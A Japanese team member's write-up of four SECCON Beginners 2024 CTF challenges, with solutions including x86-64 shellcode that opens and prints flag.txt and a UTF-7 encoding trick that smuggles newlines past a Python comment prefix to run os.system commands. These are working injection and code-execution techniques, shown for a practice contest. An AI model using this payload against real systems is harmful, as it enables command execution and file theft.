ctf4b 2024
チームとして参加して 1167pts, 39位で終了しました。
このうち私がチーム内で解くのに関わった( not 私が一人で解いた)問題についてだけのwriteupです。
[reversing] assemble
アセンブラを書くシンプルな問題。
小問が4つあって全て解くと flag が出てくるが、mov
, push
, syscall
しか使えないことと、25行以内の制約がある。
解法
- Please write
0x123
toRAX
!mov rax, 0x123
- Please write
0x123
toRAX
and push it on stack!mov rax, 0x123 push rax
- Please use
syscall
to printHello
on stdout!最初は直接mov rax, 0x6f6c6c6548 push rax mov rax, 1 mov rsi, rsp mov rdi, 1 mov rdx, 5 syscall
push 0x6f
なり試してたけど意図通り動かない… - Please read
flag.txt
file and print it to stdout!
ChatGPTに聞いたら割とすんなり教えてくれたので若干手直しして作成。セミコロンmov rax, 0x0000000000007478 # tx push rax mov rax, 0x742e67616c662f2e # t.galf/. push rax mov rdi, rsp # rdi = address of './flag.txt' mov rax, 2 # sys_open mov rsi, 0 # rsi = 0 (O_RDONLY) syscall mov rcx, rax # save file descriptor in rcx mov rax, 0 # sys_read mov rdi, rcx # file descriptor mov rsi, rsp # buffer to read into (rsp) mov rdx, 0x34 # number of bytes to read syscall mov rbx, rax # save number of bytes read in rbx mov rax, 1 # sys_write mov rdi, 1 # file descriptor (stdout) mov rsi, rsp # buffer to write from (rsp) mov rdx, rbx # number of bytes to write syscall
;
が使えないようなのでコメントは#
で。
[misc] getRank
ソースコードを見る限りHTTPリクエストのinput
の値を10^255
より大きくすれば良さそう。
ただし300桁(文字数)を超える入力とは弾かれるのと、10^255
より大きい値を入れたら10で割る演算を100回繰り返し適用されるらしい。
解法
単純に考えれば999..(300桁)..999
とかを入れたいが割られてしまう。
なので0xFFF..(298桁)..FFF
を入れて割られても十分なくらい大きな値にする。
[misc] clamre
ファイルをダウンロードするとflagが書いてあるファイルがあるのでいい感じに読む。
解法
/^((\x63\x74\x66)(4)(\x62)(\{B)(\x72)(\x33)\3(\x6b1)(\x6e\x67)(\x5f)\3(\x6c)\11\10(\x54\x68)\7\10(\x480)(\x75)(5)\7\10(\x52)\14\11\7(5)\})$/
この正規表現を読む。最初数文字\x63\x74\x66
はHexStringでctf
になるのでおそらくこれはflagであるだろうと確信を持つ。
HexStringと\{\}
の部分を直して
((ctf)(4)(b)({B)(r)(3)\3(k1)(ng)(_)\3(l)\11\10(Th)\7\10(H0)(u)(5)\7\10(R)\14\11\7(5)})
\N
は最初からN
番目のかっこ()
(最初は0じゃなくて1番目、例えば(ctf)
のかっこは2番目)と同じ値の再代入。例えば最初の\3
は3番目の()
である4
が入る。
あとは代入して()
を消す。
[misc] commentator
pythonコードを1行ずつインタラクティブに書くが、各行の最初に必ず#
が追加されてしまう。
最終的にサーバ内のflagファイルを見ることができれば勝ち。
問題(抜粋)
python = ""
while True:
line = input(">>> ").replace("\r", "")
if "__EOF__" in line:
python += 'print("thx :)")'
break
python += f"# {line}\n" # comment :)
pyfile = f"/tmp/{uuid.uuid4()}.py"
with open(pyfile, "w") as f:
f.write(python)
os.system(f"python {pyfile}")
os.remove(pyfile)
こんなプログラムが動いているサーバでの問題。
python += f"# {line}\n" # comment :)
の部分で行頭に#
が追加されてしまうので回避したい。
解法
どうにかして改行コードを入れたいなぁという方向で考える。
色々あるようだが Python ファイルの最初の見慣れたやつをいい感じにする。
通常では改行すると入力が一旦区切られてしまうので、utf7を使って改行コードを入れることができる。
変換ツール↓を使うと速い気がする。
-*- coding: utf_7 -*-
+AAo-import+ACA-os
+AAo-os.system('ls+ACA--la+ACA-..')
__EOF__
この入力で内部のpythonファイルは
# -*- coding: utf_7 -*-
#
import os
#
os.system('ls -la ..')
print("thx :)")
こんな感じになる。
これでファイルのパスがわかるので、あとは同様の方法でcat
によってflagを得る。
UTF-7はXSSとかにも使えてなにかと便利。